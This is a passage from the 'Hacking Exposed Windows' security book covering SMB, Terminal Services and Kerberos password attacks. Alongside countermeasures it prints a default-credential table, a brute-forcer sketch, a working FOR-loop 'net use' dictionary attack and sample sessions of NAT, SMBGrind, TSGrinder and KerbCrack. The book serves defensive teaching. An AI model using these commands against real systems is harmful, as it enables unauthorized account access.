username/\npassword combinations listed in Table 5-1.\nNote in Table 5-1 that we have used lowercase for all passwords—since modern \nWindows passwords are case-sensitive, case variations on the above passwords may also \nprove effective (by contrast, usernames are case-insensitive). Needless to say, these \ncombinations should not appear anywhere within your infrastructure, or you will likely \nbecome a victim sometime soon.\nWe will discuss countermeasures later in the section “Countermeasures to Password Guessing.”\nAccount Name\nHigh Probability Passwords\nAdministrator, admin, root\nNULL, password, administrator, admin, root, \nsystem, machine_name, domain_name, workgroup_\nname, or combination of those, combination of system \nname, location, etc.\ntest, lab, demo\nNULL, test, lab, password, temp, share, write, \nfull, both, read, fi les, demo, test, access, user, \nserver, local, machine_name, domain_name,\nworkgroup_name\nusername\nNULL, welcome, username, company_name\nbackup\nbackup, system, server, local, machine_name,\ndomain_name, workgroup_name\narcserve\narcserve, backup\ntivoli\ntivoli, tmesrvd\nsymbiator\nsymbiator, as400\nbackupexec\nbackup, arcada\nTable 5-1 High Probability Username/Password Combinations\n" }, { "page_number": 151, "text": "Chapter 5: Hacking Windows-Specific Services \n123\nDictionary Attacks\nPopularity:\n8\nSimplicity:\n9\nImpact: \n7\nRisk Rating:\n8\nAs the fabled John Henry figured out in his epic battle with technology (represented \nby the steel driving machine), human faculties are quickly overwhelmed by the \nunthinking, unfeeling onslaught of automated mechanical processes. Same goes for \npassword guessing—a computer is much better suited for such a repetitive task and \nbrings such massive efficiency to the process that it quickly overwhelms human password \nselection habits. A number of methods are available for automating password guessing \nagainst SMB, which we discuss in sequence here.\nFor example, it is quite easy to implement a logon brute forcer using the Win32 \nfunctionWNetAddConnection2. This API is well documented in MSDN (see “References \nand Further Reading”). Following is some pseudocode showing how a simple logon \nbrute forcer might be built using WNetAddConnection2:\nOpenFile(\"passwords.txt\")\nReadNextPassword(LineFromFile)\nIf(EOF) then exit\nWNetAddConnection2(resource, LineFromFile,\"Administrator\",0)\nif(Status == STATUS_SUCCESS) print \"password is:\",LineFromFile\nelse goto 20\nexit\nA similar approach can be used for any other API calls, either from Microsoft or third-\nparty vendors who provide libraries to build clients for the product they sell.\nThe speed with so-called “logon cracking,” which means attempting to find valid \nusername and password pairs by using native logon mechanisms to establish the session, \nis dependent on the Windows version. For Windows 2000, Microsoft rewrote SMB \nredirector, which enabled higher speed networks but also benefited attackers by offering \nhigher speed cracking—even when using W2K as a proxy for NT4. This is a good example \nof well-intentioned performance improvement that has potential negative repercussions \nwhen used for malicious purposes.\nFOR loops The simplest way to automate password guessing is to use the simple FOR\ncommand built into the Windows console. This can hurl a nearly unlimited number of \nusername/password guesses at a remote system with Windows authentication services \navailable. If you are the administrator of such a system, you may find yourself in John \nHenry’s shoes someday. Here’s how the FOR loop attack works.\n" }, { "page_number": 152, "text": "124 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nFirst, create a text file with space- or tab-delimited username/password pairs. Such \na file might look like the following example, which we’ll call credentials.txt:\n[file: credentials.txt]\nadministrator \"\"\nadministrator password\nadministrator administrator\n …\nThis file will serve as a dictionary from which the main FOR loop will draw usernames \nand passwords as it iterates through each line of the file. The term dictionary attack\ndescribes the generic usage of precomputed values to guess passwords or cryptographic \nkeys, as opposed to a brute-force attack, which generates random values rather than \ndrawing them from a precomputed table or file.\nThen, from a directory that can access credentials.txt, run the following commands, \nwhich have been broken into separate lines using the special ^ character to avoid having \nto type the entire string of commands at once:\nC:\\>FOR /F \"tokens=1,2*\" %i in (credentials.txt)^\nMore? do net use \\\\victim.com\\IPC$ %j /u:victim.com\\%i^\nMore?\n2>\\>nul^\nMore?\n&& echo %time% %date% >\\> outfile.txt^\nMore?\n&& echo \\\\victim.com acct: %i pass: %j >\\> outfile.txt\n(Make sure to prepend a space before lines 3, 4, and 5, but not line 2.)\nLet’s walk through each line of this set of commands to see what it does:\n• Line 1 Open credentials.txt, parse each line into tokens delimited by a space \nor tab, and then pass the fi rst and second tokens to the body of the FOR loop as \nvariables %i and %j for each iteration (username and password, respectively).\n• Line 2 Loop through a net use command, inserting the %i and %j tokens in \nplace of username and password, respectively.\n• Line 3 Redirect stderr to nul so that logon failures don’t get printed to \nscreen (to redirect stdout, use 1>\\>).\n• Line 4 Append the current time and date to the fi le outfi le.txt.\n• Line 5 Append the server name and the successfully guessed username and \npassword tokens to outfi le.txt.\nAfter these commands execute, if a username/password pair has been successfully \nguessed from credentials.txt, the outfile.txt will exist and will look something like this:\nC:\\>type outfile.txt\n11:53:43.42 Wed 05/09/2001\n\\\\victim.com acct: administrator pass: \"\"\nThe attacker’s system will also have an open session with the victim server:\n" }, { "page_number": 153, "text": "Chapter 5: Hacking Windows-Specific Services \n125\nC:\\>net use\nNew connections will not be remembered.\nStatus Local Remote Network\n----------------------------------------------------------------------\nOK \\\\victim.com\\IPC$ Microsoft Windows Network\nThe command completed successfully.\nThis simple example is meant only as a demonstration of one possible way to perform \npassword guessing using a FOR loop. Clearly, this concept could be extended further, \nwith input from a port scanner (see Chapter 3) to preload a list of viable Windows servers \nfrom adjacent networks, error checking, and so on. Nevertheless, the main point here is \nthe ease with which password-guessing attacks can be automated using only built-in \nWindows commands.\nOne drawback to using command-line net use commands is that each command creates a \nconnection that appears as a separate log entry on the target host. When using the Windows GUI to \nauthenticate, password guesses are done within the same session and show up only as only a \nsingle connection entry in the logs.\nNAT—the NetBIOS Auditing Tool NAT is a freely available compiled executable that \nperforms SMB dictionary attacks, one target at a time. It operates from the command \nline, however, so its activities can be easily scripted. NAT will connect to a target system \nand then attempt to guess passwords from a predefined array and user-supplied lists. \nOne drawback to NAT is that once it guesses a proper set of credentials, it immediately \nattempts access using those credentials. Thus, additional weak passwords for other \naccounts are not found. The following example shows a simple FOR loop that iterates \nNAT through a Class C subnet. The output has been edited for brevity.\nD:\\>FOR /L %i IN (1,1,254) DO nat -u userlist.txt -p passlist.txt\n192.168.202.%i >\\> nat_output.txt\n[*]--- Checking host: 192.168.202.1\n[*]--- Obtaining list of remote NetBIOS names\n[*]--- Attempting to connect with Username: 'ADMINISTRATOR' Password:\n 'ADMINISTRATOR'\n[*]--- Attempting to connect with Username: 'ADMINISTRATOR' Password:\n 'GUEST'\n…\n[*]--- CONNECTED: Username: 'ADMINISTRATOR' Password: 'PASSWORD'\n[*]--- Attempting to access share: \\\\*SMBSERVER\\TEMP\n[*]--- WARNING: Able to access share: \\\\*SMBSERVER\\TEMP\n[*]--- Checking write access in: \\\\*SMBSERVER\\TEMP\n[*]--- WARNING: Directory is writeable: \\\\*SMBSERVER\\TEMP\n[*]--- Attempting to exercise .. bug on: \\\\*SMBSERVER\\TEMP\n. . .\n" }, { "page_number": 154, "text": "126 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nNAT is a fast and effective password-guessing tool if quality username and password \nlists are available. If SMB enumeration has been performed successfully, the username \nlist is truly easy to come by.\nSMBGrind\nNAT is free and generally gets the job done. For those who want commercial-\nstrength password guessing, Network Associates’ old (no longer in existence) CyberCop \nScanner application came with a utility called SMBGrind that is extremely fast, because \nit can set up multiple grinders running in parallel. Otherwise, it is not much different \nfrom NAT. Some sample output from the command-line version of SMBGrind is shown \nnext. The –l in the syntax specifies the number of simultaneous connections—that is, \nparallel grinding sessions. If -u and -p are not specified, SMBGrind defaults to NTuserlist \n.txt and NTpasslist.txt, respectively.\nC:\\>smbgrind -i 192.168.234.24 -r victim\n-u userlist.txt -p passlist.txt -l 20 -v\nHost address: 192.168.234.240\nUserlist : userlist.txt\nPasslist : passlist.txt\nCracking host 192.168.234.240 (victim)\nParallel Grinders: 20\nPercent complete: 0\nTrying: administrator\nTrying: administrator password\nTrying: administrator administrator\nTrying: administrator test\n.. .\nGuessed: administrator Password: administrator\nTrying: joel\nTrying: joel password\nTrying: joel administrator\nPercent complete: 25\nTrying: joel test\n. . .\nTrying: ejohnson\nTrying: ejohnson password\nPercent complete: 95\nTrying: ejohnson administrator\nTrying: ejohnson ejohnson\nGuessed: ejohnson Password: ejohnson\nPercent complete: 100\nGrinding complete, guessed 2 accounts\n" }, { "page_number": 155, "text": "Chapter 5: Hacking Windows-Specific Services \n127\nThis particular example took less than a second to complete, and it covers seven \nusernames and password combinations, so you can see how fast SMBGrind can be. \nNote that SMBGrind is capable of guessing multiple accounts within one session (here \nit nabbed administrator and ejohnson), and it continues to guess each password in the \nlist even if it finds a match before the end (as it did with the Administrator account). \nThis may produce unnecessary log entries, since once the password is known, there’s \nno sense in continuing to guess for that user. However, SMBGrind also forges event log \nentries, so all attempts appear to originate from domain CYBERCOP, workstation \\\\\nCYBERCOP in the remote system’s Security Log if auditing has been enabled. One of \nthese days, Microsoft will update the Windows Event Logs so that they can track IP \naddresses.\nEnum’s -dict Option We first discussed the enum tool in Chapter 4, where we noted that \nit had the ability to perform SMB dictionary attacks. Here’s an example of enum running \nsuch an attack against a Windows 2000 system:\nC:\\>enum -D -u administrator -f Dictionary.txt mirage\nusername: administrator\ndictfile: Dictionary.txt\nserver: mirage\n(1) administrator |\nreturn 1326, Logon failure: unknown user name or bad password.\n(2) administrator | password\n[etc.]\n(10) administrator | nobody\nreturn 1326, Logon failure: unknown user name or bad password.\n(11) administrator | space\nreturn 1326, Logon failure: unknown user name or bad password.\n(12) administrator | opensesame\npassword found: opensesame\nFollowing a successfully guessed password, you will find that enum has authenticated \nto the IPC$ share on the target machine. Enum is really slow at SMB grinding, but it is \naccurate. (Our experience with false negatives is minimal.)\nGrinding WMI with Venom As we briefly mentioned earlier regarding the usage of \nintegrated authentication, SMB is not the only venue you can use to attempt logon \ncracking. Microsoft introduced the Windows Management Instrumentation (WMI) \ninterface mainly for managing systems. As this interface also supports login, it is very \nuseful as a basis for logon cracking tools. One such tool is called Venom (see “References \nand Further Reading”). Using Venom against a Vista system is illustrated in Figure 5-1.\n" }, { "page_number": 156, "text": "128 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nCountermeasures to Password Guessing\nThe best solution to password guessing is to block access to or disable Windows authentication \nservices, as discussed in Chapter 4.\nAssuming that SMB can’t be blocked or disabled outright, we discuss some of the \nother available countermeasures next. Nearly all of the features discussed are accessible \nvia Windows’ Security Policy MMC snap-in, which can be found within the \nAdministrative Tools. Security Policy is discussed in more detail in Chapter 12.\nEnforcing Password Complexity (passfilt) We cannot overemphasize the importance of \nselecting strong, difficult-to-guess passwords, especially for Windows authentication \nservices. It takes only one poorly chosen password to lay an entire organization wide \nopen (and we’ve seen it plenty of times). Since NT 4 Service Pack 2, Microsoft’s most \nadvanced operating system has provided a facility to enforce complex passwords across \nsingle systems or entire domains. Formerly called passfilt after the dynamic link library \n(DLL) that bears its name, the password filter can now be set under the Security Policy \napplet (see Chapter 12) under the Passwords Must Meet Complexity Requirements \noption, as shown in Figure 5-2.\nAs with the original passfilt, setting this option to Enabled will require that passwords \nbe at least six characters long, may not contain a username or any part of a full name, and \nmust contain characters from at least three of the following:\n• English uppercase letters (A, B, C...Z)\n• English lowercase letters (a, b, c...z)\nFigure 5-1 The Venom tool for performing Windows logon cracking via WMI\n" }, { "page_number": 157, "text": "Chapter 5: Hacking Windows-Specific Services \n129\n• Westernized Arabic numerals (0, 1, 2...9)\n• Non-alphanumeric metacharacters (@, #, !, &, and so on)\nThe Password Must Meet Complexity Requirements option has been available in the \nsecurity policy since Windows 2000. Windows Vista and Windows Server 2008 further \nenhance this option by allowing requirements to be targeted to specific groups.\nThe passfilt.dll file is no longer required on newer Windows systems—it’s all done through this Security \nPolicy setting.\nNT 4’s passfilt had two limitations: the six-character length requirement was hard-\ncoded, and it filtered only user requests to change passwords. Administrators could still \nset weak passwords via console tools, circumventing the passfilt requirements. Both of \nthese issues are easy to address. First, manually set a minimum password length using \nSecurity Policy. (We recommend seven characters per the discussion in Chapter 7.) \nSecond, the Windows password filter should be applied to all password resets, whether \nset from the console or remotely.\nCustom passfilt DLLs can also be developed to match the password policy of any \norganization more closely. (See the “References and Further Reading” section at the end \nof the chapter.) Be aware that Trojan passfilt DLLs would be in a perfect position to \ncompromise security, so carefully vet third-party DLLs.\nFor highly sensitive accounts like the true Administrator and service accounts, we \nalso recommend incorporating nonprinting ASCII characters. These make passwords \nextraordinarily hard to guess. This measure is designed more to thwart offline password-\nguessing attacks (for example, cracking), which will be discussed in more depth in \nChapter 7.\nFigure 5-2 Enabling the Windows Server 2008 password fi lter enforces strong password selection.\n" }, { "page_number": 158, "text": "130 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nRegardless of different filters available for ensuring the password complexity, it is \ngood practice to advocate the usage of passphrases. A passphrase is a phrase used instead \nof a simple password, as the name implies, and typically can be remembered better by \nthe users than complex passwords. For example, Hacking Exposed Windows 2003, edition \nn! is easier to remember and harder to crack than Hk1nXpdw2k3. Links to more information \non passphrases can be found in the “References and Further Reading” section.\nAccount Lockout Another critical factor in blocking password guessing is to enable an \naccount lockout threshold, although some organizations find this difficult to support (as we \nwill discuss momentarily). Account lockout will disable an account once the threshold \nhas been met. Figure 5-3 shows how account lockout can be enabled using Security \nPolicy. Unless account lockout is set to a reasonably low number (we recommend 5), \npassword guessing can continue unabated until the intruder gets lucky or until he \ncompiles a large enough dictionary file, whichever comes first.\nInterestingly, Windows maintains a record of failed logins even if the lockout \nthreshold has not been set. (A tool such as UserDump from Chapter 4 will show the \nnumber of failed logins and the last failed login date via null session, if available.) If \naccount lockout is subsequently enabled, it examines all accounts and locks out those \nthat have exceeded the threshold within the last Y minutes (where Y is the number of \nminutes you set in the account lockout policy). This is a more secure implementation, \nsince it enables the lockout threshold to take effect almost instantaneously, but it may \ncause some disruption in the user community if a lot of accounts have previous failed \nlogons that occurred within the lockout threshold window (although this is probably a \nrare occurrence). (Thanks to Eric Schultze for bringing this behavior to our attention.)\nSome organizations we’ve worked with as security consultants have resisted \nimplementing lockout thresholds. Since only select administrative groups can re-enable \nFigure 5-3 Setting an account lockout threshold using Security Policy\n" }, { "page_number": 159, "text": "Chapter 5: Hacking Windows-Specific Services \n131\na locked-out account, most companies observe a converse relationship between a lower \nlockout threshold and higher help desk support costs and thus choose not to impose \nsuch a burden on their users, support staff, and financial resources. We think this is a \nmistake, though, and we advise that you spend the effort to find the magic number of \nlockouts that your organization can tolerate without driving support staff mad. \nRemember that even seemingly absurd thresholds can prevent wanton password \nguessing. (We’ve even seen organizations implement 100-count thresholds!) You can also \nplay with the account lockout duration and automatic reset duration (also configured in \nSecurity Policy) to alleviate some burden here.\nThat said, account lockout thresholds create the potential for a denial-of-service \ncondition, whether accidentally or intentionally. A common scenario exists when service \naccounts that get locked out when passwords expire on the domain (accidental), or when \na disgruntled employee attempts to log on using the account names of coworkers and \nknown bogus passwords intentionally to frustrate fellow employees. Use this option \nwith care, and make sure your choice works well in your particular environment.\nEnable Auditing of Logon Failure Events Dust off that handy-dandy Security Policy applet \nonce again and enable auditing of Logon and Account Logon event failure (at a minimum), \nas shown in Figure 5-4.\nThis is a minimum recommendation, as it will capture only failed logon events \nthat may be indicative of password-guessing attacks. Failed logons will appear as \nEvent ID 529 (failed logon event) and 681 (failed account logon event) in the Security \nLog. Account locked-out events have the ID 539. We discuss auditing in more general \nterms in Chapter 6. Remember that before Windows Vista, the Event Log tracked only \nthe NetBIOS machine name of the offending system, not its IP address, limiting your \nability to track password-guessing activity.\nFigure 5-4 Enabling auditing of logon failure events can provide indication of password-guessing \nattacks.\n" }, { "page_number": 160, "text": "132 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nWindows records success of account logon events and logon events by default.\nReview the Event Logs! Remember that simply auditing logon events is not an effective \ndefense against intrusions—logs must be periodically reviewed if the entries generated \nby these settings are to have any meaning. In a large environment, reviewing the logs \neven on a monthly basis can be a Herculean task. Seek out automated log monitoring \nand reporting tools to perform this task for you. We recommended these products:\n• Event Log Monitor (ELM) from TNT Software ELM consolidates all Event \nLogs to a central repository in real time, to provide correlation of all events in \none data source. An agent must be installed on each machine to be monitored.\n• EventAdmin from Aelita Software, nowadays from Quest Software \nEventAdmin performs much the same functions as ELM, without requiring an \nagent on each machine.\n(Links to each of these company’s websites are listed in the “References and Further \nReading” section at the end of this chapter.)\nYou can also gain insight, knowledge, and thereby control over your networks by \nusing security event and information management systems (SEM or SIEM), which supply \ninformation from different log sources, such as operating systems, routers, firewalls, \nintrusion detection systems, and intrusion protection systems. To build good fences, you \nneed to know what you need to protect in the first place.\nDisable the True Administrator Account and Create a Decoy The Administrator account is \nespecially problematic when it comes to password-guessing attacks. First, it has a \nstandard name that is widely known—intruders are usually assured that they at least \nhave the account name correct when they attack this account. Changing the name affords \nsome protection, but it’s not foolproof—we’ve already shown in Chapter 4 how creative \nenumeration techniques can determine the true Administrator name. Second, the \nAdministrator account is not subject to account lockout settings by default on Windows \nServer 2003 and prior versions, no matter what account lockout settings have been \nconfigured. This means that an unlimited number of password guesses can be made \nagainst the Administrator account without lockout, if the account is configured poorly.\nIt is debatable how much value renaming the Administrator account provides from \na security perspective, since the true Administrator can always be identified by its SID if \nenumeration is possible, no matter what name it carries (see Chapter 4). However, we \nrecommend that the built-in Administrator account be used only when it’s explicitly \nneeded, such as for performing local administrative tasks when the domain is unavailable. \nIf it is possible to disable or rename the account (which is the default case on modern \nversions of Windows including XP and later), we recommend it. Everything that takes \naway known information from the attacker is good.\nWe recommend that a decoy Administrator account be set up to look exactly like the \ntrue Administrator account. This will quickly identify lowbrow password-guessing \nattacks in the logs. Do not make the fake Administrator a member of any groups, and \nmake sure to fill in the account’s Description field with the appropriate value—Built-in\n" }, { "page_number": 161, "text": "Chapter 5: Hacking Windows-Specific Services \n133\naccount for administering the computer/domain. As for disabling the true Administrator \naccount, Windows versions starting with XP permit renaming and disabling this account \nusing Security Policy (secpol.msc).\nWhen it comes to account lockout, the built-in Administrator has always been a juicy \ntarget because it is not subject to the system account lockout policy by default. (For \nexample, Administrator will not become locked out no matter how many bad password \nguesses are made.) The NT 4 Resource Kit included a utility called passprop that could \nbe used to configure account lockout for the true Administrator account (RID 500). \nPassprop changes the default behavior so that the Administrator account can become \nlocked out just like any other account after the prescribed number of bad guesses. (The \ntrue Admin account will always be able to log in interactively.) The passprop tool quit \nworking under Windows 2000 up to Service Pack 2 (even though it appears to work). \nLater Windows versions can achieve the same goal by settings available as part of the \nlocal security policy, which can be enforced using Group Policy in domain scenarios. In \na Vista stand-alone installation, the built-in Administrator account is disabled and, as in \nWindows XP, requires Registry modification to make the account selectable in the logon \nscreen.\nRunning passprop to set Administrator lockout is easy:\nC:\\>passprop /adminlockout\nPassword must be complex\nThe Administrator account may be locked out except for interactive logons\non a domain controller.\nTo be extra secure, manually remove the Access This Computer From The Network \nprivilege from the true Administrator account. This ensures that the true Admin account \nwill not be able to access the system remotely. If Admin has been renamed, this will be \ndoubly difficult for attackers to figure out.\nGet the passprop tool from the Windows 2000 Server Resource Kit; it is not included in the \nProfessional kit.\nDisable Idle Accounts We’ve found that the toughest organizations to break into are those \nthat use account lockout as well as account expiration. Contractors, consultants, or other \ntemporary workers who are hired for only a short period should be given accounts that \nare configured to expire after a set amount of time. You should also do the same with \naccounts used for temporary activities such as migrations. This assures the system \nadministrator that the account will be disabled when the temp work is completed and \nthe account is no longer necessary, as opposed to when the human resources department \ngets around to telling someone to disable or delete the account after a few months (or \nyears, depending on the efficiency of the HR department). If the temporary work contract \ngets extended, the account can be re-enabled, again for a set period of time. Organizations \nthat implement this policy can be much more difficult to break into by guessing passwords \nfor user accounts, since there are fewer accounts to target at any one time. Moreover, the \naccounts that are weeded out are typically those with the worst passwords—temporary \naccounts!\n" }, { "page_number": 162, "text": "134 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAccount expiration can be set on Windows domain controllers on the properties of a \nuser account, Account tab, under Account Expires, as shown in Figure 5-5.\nVet Administrative Personnel Carefully Remember that not everything can be defended \nusing technical configuration settings. When hiring personnel who require administrative \nprivileges, make sure that strict hiring policies and background checks have been \nperformed before granting those privileges. Members of the highly privileged \nadministrative groups under Windows can wipe out logs and otherwise hide their tracks \nso that it is nearly impossible to track their (mis)deeds. Assign each administrator a \nseparate account to enable logging of individual activities, and don’t make that account \nname guessable (using a name like admin). Remember that the username/password \npairs for administrative accounts are the keys to your Windows kingdom—make sure \nthose keys are secure.\nYou could also require highest privileged administrative accounts to use smart cards \nfor managing the systems. As a vector, all admin users’ normal accounts could use them \nas well.\nFigure 5-5 The Guest Properties window of a user account shown on a Windows Server 2003 \ndomain controller. Note that account expiration can be set in the lower half of the screen.\n" }, { "page_number": 163, "text": "Chapter 5: Hacking Windows-Specific Services \n135\nPrevent Creation of Administrative Shares Although it’s somewhat minor, preventing \ncreation of administrative shares (C$, ADMIN$) on Windows 2000 and Windows is \nimportant enough to mention here. Intruders typically target these shares for password-\nguessing attacks, since they permit direct mounting of large portions of the system drive. \nHere’s how to delete the administrative shares on Windows:\n \n1. Delete the ADMIN$ and all driveletter$ shares in the Computer Management \nControl Panel, under Shared Folders\\Shares.\n \n2. Create HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\\nParameters\\AutoShareServer (REG_DWORD) and set it to zero (0).\nAdministrative shares will be deleted and will not be automatically re-created after \nsubsequent reboots.\nThis does not eliminate the IPC$ share; it is created by the Server service and can be deleted only by \ndisabling that service or by manually deleting the share using the net share command. Disabling \nthe Server service could be considered useful for workstations that do not generally need to share \nresources to network, as the service can be enabled and the system remotely accessed via remote \nmanagement modules and by other means.\nTerminal Server Password Guessing\nPopularity:\n7\nSimplicity:\n7\nImpact:\n8\nRisk Rating:\n7\nMicrosoft’s in-the-box graphical remote administration functionality is known as \nTerminal Services. Graphical data is transferred between the Terminal Services client and \nserver via Microsoft’s proprietary Remote Desktop Protocol (RDP), which operates over \nTCP port 3389 by default.\nFortunately for the good guys, guessing passwords against Terminal Services is not \nas easy as attacking Windows authentication directly. The initial logon screen presented \nvia a Terminal Services client is simply a bitmap of the remote logon screen—with no \nlogon APIs to call, a hacker must enter text in the appropriate location within the bitmap \nto log on successfully. It is thus difficult to programmatically determine the session \nscreen contents to script a password-guessing attack.\nOne of the first public attempts to circumvent this obstacle was the TSGrinder tool by \nTim Mullen. Instead of attacking via the standard Win32 Terminal Services client, Tim \ntargeted Microsoft’s ActiveX-based Terminal Services Advanced Client (TSAC). Though \nthe ActiveX control is specifically designed to deny script access to the password methods, \nthe ImsTscNonScriptable interface methods can be accessed via vtable binding in C++. \nThis allows a custom interface to be written to the control so attackers can hammer away \nat the Administrator account until the password is guessed. Tim encountered additional \n" }, { "page_number": 164, "text": "136 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nchallenges in implementing this tool since announcing it first in 2001, but he managed to \nrelease TSGrinder 2 at the Black Hat conference in Las Vegas in July 2003 (the code is \navailable on Tim’s site at www.hammerofgod.com/download.html). TSGrinder works \nas advertised and is impressively fast considering it is essentially “typing” each guess \ninto the graphical Terminal Services client logon box. Here is a sample of a TSGrinder \nsession successfully guessing a password against a Windows Server 2003 system (the \ngraphical logon window appears in parallel with this command-line session):\nC:\\>tsgrinder 192.168.234.244\npassword apple - failed\npassword orange - failed\npassword pear - failed\npassword monkey - failed\npassword racoon - failed\npassword giraffe - failed\npassword dog - failed\npassword cat - failed\npassword balls - failed\npassword guessme - success!\nTSGrinder takes command-line arguments for username, domain, a banner flag (in \ncase those pesky sysadmins attempt to throw a logon banner up before the logon dialog), \nmultithreading, and multiple debug levels. Tim, it was worth the wait.\nTS Password-Grinding Countermeasures\nIf you are still debating setting an account lockout threshold after reading this chapter, it \nshould be a foregone conclusion if you run Terminal Services. Remember that if you use \nPassprop to apply the threshold to the true Administrator account (RID 500), this will not \naffect interactive logon via Terminal Services, so assign a wickedly long and complex \npassword to the true Administrator account. In addition, all account logon events should \nbe logged (success and failure).\nAs we discussed earlier in this chapter, we also recommend renaming the local \nAdministrator account, especially on Terminal Services. The local Administrator account \nis all-powerful on the local machine and cannot be locked out interactively. Since Terminal \nServices login is by definition interactive, attackers can remotely guess passwords against \nthe Administrator account indefinitely. Changing the name of the account presents a \nmoving target to attackers (although the true Administrator account can be enumerated \nvia techniques discussed in Chapter 4 if services such as SMB or SNMP are available on \nthe target without proper configuration).\nOne way to discourage password-guessing attacks against Terminal Services is to \nimplement a custom legal notice for Windows logon. This can be done by adding or \nediting the Registry values shown here:\nHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\n" }, { "page_number": 165, "text": "Chapter 5: Hacking Windows-Specific Services \n137\nName\nData Type\nValue\nLegalNoticeCaption\nREG_SZ\n[custom caption]\nLegalNoticeText\nREG_SZ\n[custom message]\nWindows will display the custom caption and message provided by these values \nafter users press CTRL-ALT-DEL and before the logon dialog box is presented, even when \nlogging on via Terminal Services. It is not clear what effect (if any) this will have on \npassword-grinding attacks such as those implemented by TSGrinder (we bet they are \nderailed completely), but at least it will make malicious hackers work a little harder to \nbypass that extra OK prompt.\nAnother mitigation for password guessing is to obscure exposure of what port \nTerminal Server listens to. This does not add protection for the actual server, but it means \nthat the attacker needs to connect specifically to a port with a client or raw connection to \nfigure out what protocol lies on the port. The change can be by modifying the following \nRegistry entry:\nFind the \"PortNumber\" subkey and notice the value of 00000D3D, hex for (3389).\nModify the port number in Hex and save the new value.\nHKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\WinStations\\RDP-Tcp\nName\nData Type\nValue\nPortNumber\nPort in hex (D3D is 3389)\nEAVESDROPPING ON WINDOWS AUTHENTICATION\nShould direct password-guessing attacks fail, an attacker can attempt to obtain user \ncredentials by eavesdropping on Windows logon exchanges. Many tools and techniques \nare available for performing such attacks, and we discuss the most common ones in this \nsection:\n• Sniffi ng credential equivalents directly off the network wire\n• Capturing credential equivalents using a fraudulent server\n• Man-in-the-middle (MITM) attacks\n“Sniffing” is a colloquial term for capturing and analyzing communications from a network. The term \nwas popularized by Network Associates’ Sniffer line of network monitoring tools. Nowadays Sniffer is \navailable from Network General.\nSince these are somewhat specialized attacks, they are most easily implemented \nusing specific tools. Thus our discussion will be centered largely around these tools.\nThis section assumes familiarity with Windows LAN-oriented authentication protocols, including the \nNTLM challenge-response mechanism, which are described in Chapter 2.\n" }, { "page_number": 166, "text": "138 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSniffi ng Kerberos Authentication Using KerbSniff/KerbCrack\nPopularity:\n5\nSimplicity:\n3\nImpact:\n9\nRisk Rating:\n6\nYes, you read it right: sniffing Kerberos. While the potential for eavesdropping on LM/\nNTLM authentication is widely known, it is much less widely appreciated that the same \nthing can be done with Windows 2000 and later Kerberos domain logons using KerbSniff/\nKerbCrack tools from Arne Vidstrom at ntsecurity.nu, both located in the KerbCrack package. \nIn fact, we couldn’t believe it until we tested it and saw the data with our own eyes.\nOnly the initial request for a Ticket Granting Ticket (TGT) from the client to a Key Distribution Center \n(KDC) can be used in a brute-force or dictionary attack, since subsequent logins to various services \nwithin the login session use random keys.\nKerbSniff and KerbCrack work in tandem. KerbSniff sniffs the network and pulls \nKerberos domain authentication information, saving it to a user-specified output file (in \nour example, output.txt), as shown here:\nC:\\>kerbsniff output.txt\nKerbSniff 1.2 - (c) 2002, Arne Vidstrom\n - http://ntsecurity.nu/toolbox/kerbcrack/\nAvailable network adapters:\n 0 - 192.168.234.34\n 1 - 192.168.234.33\n 2 - 192.168.208.1\n 4 - 192.168.223.1\nSelect the network adapter to sniff on: 1\nCaptured packets: *\nPress CTRL-C to end capture. The asterisk after Captured packets indicates the number \nof logons that have been sniffed.\nYou can then use KerbCrack to perform brute-force or dictionary cracking operations \non the output file, revealing the passwords given enough time and computing horsepower \n(or a particularly large dictionary). We use the dictionary crack option in this example:\n" }, { "page_number": 167, "text": "Chapter 5: Hacking Windows-Specific Services \n139\nC:\\>kerbcrack output.txt -d dictionary.txt\nKerbCrack 1.2 - (c) 2002, Arne Vidstrom\n - http://ntsecurity.nu/toolbox/kerbcrack/\nLoaded capture file.\nCurrently working on:\n Account name - administrator\n From domain - VEGAS2\n Trying password – admin\n Trying password – guest\n Trying password - root\nNumber of cracked passwords this far: 1\nDone.\nThe last password guessed is the cracked password (in our example, root).\nKerbCrack will crack only the last user entry made in the KerbSniff file; you will have to separate the \nentries manually into different files if you want to crack each user’s password. Also, we’ve noted that \nKerbSniff sometimes appends m or n to some account names. Other Kerberos crackers are listed in \n“References and Further Reading.”\nThe basis for this attack is explained in a paper written in March 2002 by Frank \nO’Dwyer. (See “References and Further Reading” at the end of this chapter for a link.) \nEssentially, the Windows Kerberos implementation sends a pre-authentication packet \nthat contains a known plaintext (a timestamp) encrypted with a key derived from the \nuser’s password. Thus, a brute-force or dictionary attack that decrypts the pre-\nauthentication packet and reveals a structure similar to a standard timestamp unveils the \nuser’s password. This has been a known issue with Kerberos 5 for some time.\nCountermeasures to Kerberos Sniffi ng\nIn our testing, setting encryption on the secure channel (see Chapter 2) did not prevent \nthis attack, and Microsoft had issued no guidance on addressing this issue at the time of \nthis writing. Thus, you’re left with the classic defense: pick good passwords. O’Dwyer’s \npaper notes that passwords of eight characters in length containing different cases and \nnumbers would take an estimated 67 years to crack using this approach on a single \nPentium 1.5GHz machine, so if you are using the Windows password complexity feature \n(mentioned earlier in this chapter), you’ve bought yourself some time (grin). Also \nremember that if a password is found in a dictionary, it will be cracked immediately.\n" }, { "page_number": 168, "text": "140 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSniffi ng LM Authentication\nPopularity:\n7\nSimplicity:\n2\nImpact:\n10\nRisk Rating:\n6\nThe L0phtcrack (LC) password-auditing tool is possibly one of the most recognized in \nthe security community and even within mainstream software circles. Unfortunately, LC is \nno longer maintained. However, an alternative called LCP is available that contains nearly \nall the same functionality as LC. Although L0phtcrack’s primary function is to perform \noffline password cracking, the last available versions shipped with an add-on module \ncalled SMB Packet Capture, which is capable of sniffing LAN Manager (LM) challenge-\nresponse authentication traffic off the network and feeding it into the L0phtcrack 